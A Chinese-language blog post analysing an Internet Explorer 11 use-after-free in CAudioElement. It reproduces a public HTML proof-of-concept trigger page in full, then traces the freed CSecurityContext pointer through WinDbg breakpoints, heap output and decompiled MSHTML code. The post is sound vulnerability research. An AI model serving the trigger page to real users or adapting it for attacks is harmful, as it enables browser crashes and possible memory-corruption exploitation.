作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
此漏洞是由于IE浏览器在处理CAduioElement对象的时候,在由于释放之后没有进行标记,后续调用也没有进行检查,导致再次调用的时候导致释放后重利用漏洞,下面对此漏洞进行分析。值得一提的是,在IE 11中对dll引用了ASLR,所以在调试过程中的地址会发生一些变化,不过不影响分析。
这个漏洞对应的CVE编号没有找到,不影响漏洞分析的过程,请下载对应版本的IE浏览器触发PoC。
PoC:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="Expires" content="0" />
<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" />
<meta http-equiv="Cache-Control" content="post-check=0, pre-check=0" />
<meta http-equiv="Pragma" content="no-cache" />
<style type="text/css">
body{
background-color:lime;
font-color:red;
};
</style>
<script type='text/javascript'></script>
<script type="text/javascript" language="JavaScript">
/*
# Exploit Title: Internet Explorer 11 Use After Free
# Date: 05/09/2016 - 11/09/2016
# Exploit Author: Marcin Ressel
# Vendor Homepage: https://www.microsoft.com/pl-pl/
# Version: 11.0.9600.18482
# Tested on: Windows 7 (x64)
######################################################################################
0:014> g
(13a8.9b8): Access violation - code c0000005 (!!! second chance !!!)
eax=2f66abb0 ebx=00000001 ecx=2fbc8f08 edx=7ef8d000 esi=2fbc8f08 edi=2fbc8f08
eip=6d754a45 esp=1feac660 ebp=1feac674 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!CElement::SecurityContext+0x25:
6d754a45 8b80b8000000 mov eax,dword ptr [eax+0B8h] ds:002b:2f66ac68=????????
0:014> d @eax
2f66abb0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
2f66abc0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
2f66abd0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
2f66abe0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
2f66abf0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
2f66ac00 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
2f66ac10 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
2f66ac20 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:014> kb
ChildEBP RetAddr Args to Child
1feac660 6d5e7c69 6d5e7500 1feac690 2fbc8f08 MSHTML!CElement::SecurityContext+0x25
1feac674 6d5e75cf 2fbc8f08 2fbc8f08 2fbc8f08 MSHTML!CMediaElement::RemoveFromPlayToElementTracker+0x1d
1feac688 6d5e7bee 1feac6a0 6d5e7bd0 00000004 MSHTML!CMediaElement::Shutdown+0xdc
1feac698 6d5e7b1c 48cfae30 50d00bb0 4542dbd0 MSHTML!CMediaElement::OnMarkupTearDown+0x1e
1feac6c4 6d3b23dc 00000000 4542dbd0 50d00bb0 MSHTML!CMarkup::InvokeMarkupTearDownCallbacks+0xc0
1feac6d8 6d3b22c9 00000001 00000001 341a8bb0 MSHTML!CMarkup::TearDownMarkupHelper+0xe4
1feac700 6d3adf1f 00000001 00000001 1feac7d0 MSHTML!CMarkup::TearDownMarkup+0x58
1feac7b0 6dae9665 341a8bb0 00000000 00000000 MSHTML!COmWindowProxy::SwitchMarkup+0x4eb
1feac894 6dae97e3 00005004 ffffffff 00000000 MSHTML!COmWindowProxy::ExecRefresh+0xa1c
1feac8a8 6d0d763b 457f1f68 00005004 00000001 MSHTML!COmWindowProxy::ExecRefreshCallback+0x23
1feac8f0 6d0cd4e2 91c55b56 00000000 6d0cc800 MSHTML!GlobalWndOnMethodCall+0x17b
1feac944 76b862fa 001401c6 00008002 00000000 MSHTML!GlobalWndProc+0x103
1feac970 76b86d3a 6d0cc800 001401c6 00008002 user32!InternalCallWinProc+0x23
1feac9e8 76b877d3 00000000 6d0cc800 001401c6 user32!UserCallWinProcCheckWow+0x109
1feaca4c 76b8789a 6d0cc800 00000000 1feafc28 user32!DispatchMessageWorker+0x3cb
1feaca5c 6e5fa8ac 1feaca9c 62382e48 2efb2fe0 user32!DispatchMessageW+0xf
1feafc28 6e620e88 1feafcf4 6e620b00 5cba2ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
1feafce8 74e4ad3c 62382e48 1feafd0c 6e614b00 IEFRAME!LCIETab_ThreadProc+0x3e7
1feafd00 6e593a31 5cba2ff0 00000000 6e5939a0 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c
1feafd38 6fae9608 4b3b6fe8 705e0368 00000000 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
############################################################################################
*/
var doc;
var trg, trg_parent;
function testcase()
{
var e1_frame = document.getElementById("e1");
doc = document;
e = e1_frame.contentWindow.document.createElement("hr");
rf = doc.body.appendChild(e);
e = e1_frame.contentWindow.document.createElement("audio");
rf = doc.body.appendChild(e);
dom = doc.getElementsByTagName("*");
document.getElementById("e1").removeNode(true);
trg = dom[14];
trg_parent = doc.body;
trg.addEventListener('DOMNodeRemoved',
new Function('',
//'try{trg.removeEventListener("DOMNodeRemoved",this,false);}catch(e){}'+
'try{trg.appendChild(document.createElement("feOffset")).removeNode(false).ATTRIBUTE_NODE = "false";}catch(e){}'+
'try{trg_parent = trg.cloneNode(true);}catch(e){}'//+
// 'try{doc = document.implementation.createDocument("about:blank","","text/html");}catch(e){}'
),
false);
trg_parent.innerHTML = trg.innerHTML;
//CollectGarbage();
//trg.innerHTML = "<h1></h1>"
setTimeout('location.reload();',700);
}
</script>
<title>Use After Free</title>
</head>
<body onload='testcase();'>
<iframe></iframe><iframe src='about:blank' id='e1'></iframe>
</body>
</html>
</html>
漏洞分析
首先打开IE 11浏览器,附加Windbg,程序崩溃。
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0d2e8bb8 ebx=00000001 ecx=0d0b8f08 edx=00000000 esi=0d0b8f08 edi=0d0b8f08
eip=634d482a esp=0483c6b4 ebp=0483c6c8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
MSHTML!CElement::Doc+0x15:
634d482a 8b80b0000000 mov eax,dword ptr [eax+0B0h] ds:0023:0d2e8c68=????????
崩溃位置引用了一个无效指针,eax此时存放的地址是一个无效地址,+0B0h偏移位置的值也是一个无效值,无效引用导致了问题的发生。通过kb查看一下堆栈回溯。
0:007> kb
ChildEBP RetAddr Args to Child
051bc398 683358bd 051bc3ac 683352d0 051bc3c8 MSHTML!CElement::Doc+0x15
051bc3b0 683352ba 518cef08 518cef08 051bc3fc MSHTML!CMediaElement::RemoveFromPlayToElementTracker+0x21
051bc3c0 68335a1e 051bc3d8 68335a00 00000028 MSHTML!CMediaElement::Shutdown+0xd7
051bc3d0 6833583c 056fde30 74367d58 066bbbd0 MSHTML!CMediaElement::OnMarkupTearDown+0x1e
051bc3fc 67ee95e9 00000000 066bbbd0 74367d58 MSHTML!CMarkup::InvokeMarkupTearDownCallbacks+0xc0
051bc410 67ee94d6 00000001 00000001 6def7d58 MSHTML!CMarkup::TearDownMarkupHelper+0xdc
051bc438 680fe7a4 00000001 00000001 051bc500 MSHTML!CMarkup::TearDownMarkup+0x58
在最后调用了CElement::Doc,其实最后这个doc是一个securityContext,这个函数调用其实在原PoC中可以看到,不知道为什么我这里显示式Doc,是在RemoveFromPlayerElementTracker函数中调用到的这个函数。
来看一下mshtml.dll,在漏洞附近的调用情况。实际上,观察MSHTML!CElment::Doc发现,eax的值实际上是由esi+30h位置赋值而来。
0:007> !heap -p -a esi
address 0d0b8f08 found in
_DPH_HEAP_ROOT @ 4a41000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
d1f0f08: d0b8f08 f8 - d0b8000 2000
MSHTML!CAudioElement::`vftable'
6d3c8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
76f95ede ntdll!RtlDebugAllocateHeap+0x00000030
76f5a40a ntdll!RtlpAllocateHeap+0x000000c4
76f25ae0 ntdll!RtlAllocateHeap+0x0000023a
63a84e3a MSHTML!CAudioElement::CreateElement+0x0000001a
63812404 MSHTML!CElement::Clone+0x000001d7
64354dad MSHTML!CMediaElement::Clone+0x0000001d
通过+hpa的方法看一下esi寄存器的堆的情况,esi实际上存放的是CAudioElement的虚表对象指针,在+30h偏移位置调用时取了一个无效地址,导致了程序崩溃。
0:007> dps esi
0d0b8f08 63a84ec0 MSHTML!CAudioElement::`vftable'
0d0b8f0c 00000001
0d0b8f10 00000001
0d0b8f14 00000018
0d0b8f18 00000000
0d0b8f1c 00000000
0d0b8f20 00000000
0d0b8f24 7ff96910
0d0b8f28 0000007f
0d0b8f2c 02040400
0d0b8f30 00000000
0d0b8f34 00000000
0d0b8f38 0d2e8bb8
0d0b8f3c 6397a178 MSHTML!CVideoElement::`vftable'
0d0b8f40 63a78aec MSHTML!CAudioElement::`vftable'
0d0b8f44 63494c5c MSHTML!CMediaElement::`vftable'
0d0b8f48 63a84eac MSHTML!CAudioElement::`vftable'
这样我们需要关注+30h位置原本存放的什么值,我们通过bp的方法下一个条件断点,跟踪CAudioELment对象的创建情况。
位置下在CAudioElment::CreateElement位置。
bp MSHTML!CAudioElement::CreateElement "gu;.printf \"ptr:[%08x] ,addr:[%08x]\\n\",ecx,ecx+30h;g"
ptr:[0d090f08] ,addr:[05be0fe0]
(8e4.7f8): C++ EH exception - code e06d7363 (first chance)
ptr:[0d0a8f08] ,addr:[05be0fe0]
(8e4.7f8): C++ EH exception - code e06d7363 (first chance)
ptr:[63466f08] ,addr:[05be0fe0]
(8e4.7f8): C++ EH exception - code e06d7363 (first chance)
(8e4.7f8): C++ EH exception - code e06d7363 (first chance)
ptr:[63412f08] ,addr:[05be0fe0]
ptr:[72412f08] ,addr:[05be0fe0]
ptr:[1dacaf08] ,addr:[05be0fe0]
ptr:[54862f08] ,addr:[05be0fe0]
(8e4.7f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=723aabb8 ebx=00000001 ecx=63466f08 edx=00000000 esi=63466f08 edi=63466f08
eip=63f1482a esp=0495c3ac ebp=0495c3c0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
MSHTML!CElement::Doc+0x15:
63f1482a 8b80b0000000 mov eax,dword ptr [eax+0B0h] ds:0023:723aac68=????????
可以看到,之前的esi的值是63466f08地址位置,再看一下之前跟踪的结果,实际上我取了一部分,在整个过程中,有大量的CAudioElement对象创建,在跟踪过程中,其实63466f08创建的对象只有一处,在创建之后,偏移+30h位置的值是05be0fe0地址。来看一下这个地址的内容。
0:007> !heap -p -a 0605ffe0
address 0605ffe0 found in
_DPH_HEAP_ROOT @ 61000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
60b01a0: 605ffe0 1c - 605f000 2000
MSHTML!CSecurityContext::`vftable'
6eef8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
76f95ede ntdll!RtlDebugAllocateHeap+0x00000030
76f5a40a ntdll!RtlpAllocateHeap+0x000000c4
76f25ae0 ntdll!RtlAllocateHeap+0x0000023a
68298d55 MSHTML!ProcessHeapAllocClear+0x00000010
68127697 MSHTML!CreateDoc+0x00000027
681306db MSHTML!CBaseCF::CreateInstance+0x0000005e
6c6c9697 IEFRAME!CBaseBrowser2::_OnCoCreateDocument+0x0000007a
其实这个地方的值是CSecurityContext的虚表指针,实际上,这个值在创建之后,会由于PoC中的调用。
dom = doc.getElementsByTagName("*");
document.getElementById("e1").removeNode(true);
导致CSecurityContext虚表对象释放掉。跟踪CSecurityContext::Release的释放情况。
0:007> bl
0 e 68384e20 0001 (0001) 0:**** MSHTML!CAudioElement::CreateElement "gu;.printf \"ptr:[%08x] ,addr:[%08x]\\n\",ecx,poi(ecx+30h);g"
bp MSHTML!CSecurityContext::Release ".printf \"Release:[%08x]\\n\",poi(esp+4);g;"
跟踪过程中可以观察到对象的创建之后释放。
ptr:[05947f08] ,addr:[06a94fe0]
Release:[06a94fe0]
释放后,并没有进行标记,而是直接调用js,导致RemoveFromPlayToElementTracker函数执行。
__int32 __thiscall CMediaElement::RemoveFromPlayToElementTracker(CMediaElement *this)
{
CMediaElement *v1; // esi@1
int v2; // ebx@1
CDoc *v3; // eax@1
__int32 result; // eax@1
struct CPlayToElementTracker *v5; // [sp+8h] [bp-4h]@1
v1 = this;
v2 = *((_WORD *)this + 16) != 129;
v3 = CElement::Doc(this);
result = CDoc::GetPlayToElementTracker(v3, &v5);
if ( result >= 0 )
result = CPlayToElementTracker::RemoveElement(v5, v2, v1);
return result;
}
this指针表示CAudioElment对象,接下来会在CElement::SecurityContext引用到+30h位置的指针的值。
跟踪进这个函数看一下。
struct CDoc *__thiscall CElement::Doc(CElement *this)
{
int v1; // eax@1
bool v2; // zf@2
v1 = *((_DWORD *)this + 12);
if ( *((_DWORD *)this + 9) & 0x30000 )
{
v2 = (*(_BYTE *)(v1 + 15) & 1) == 0;
v1 = *(_DWORD *)(v1 + 4);
}
else
{
v2 = (*((_DWORD *)this + 9) & 0x40000) == 0;
}
if ( !v2 )
v1 = *(_DWORD *)(v1 + 176);
return *(struct CDoc **)(v1 + 12);
}
在v1中会引用this+12,就是CSecurityContext的指针值,然而这时候这个指针已经被释放,导致释放后重用漏洞的发生,这里后续没有虚表调用,可能没法继续利用。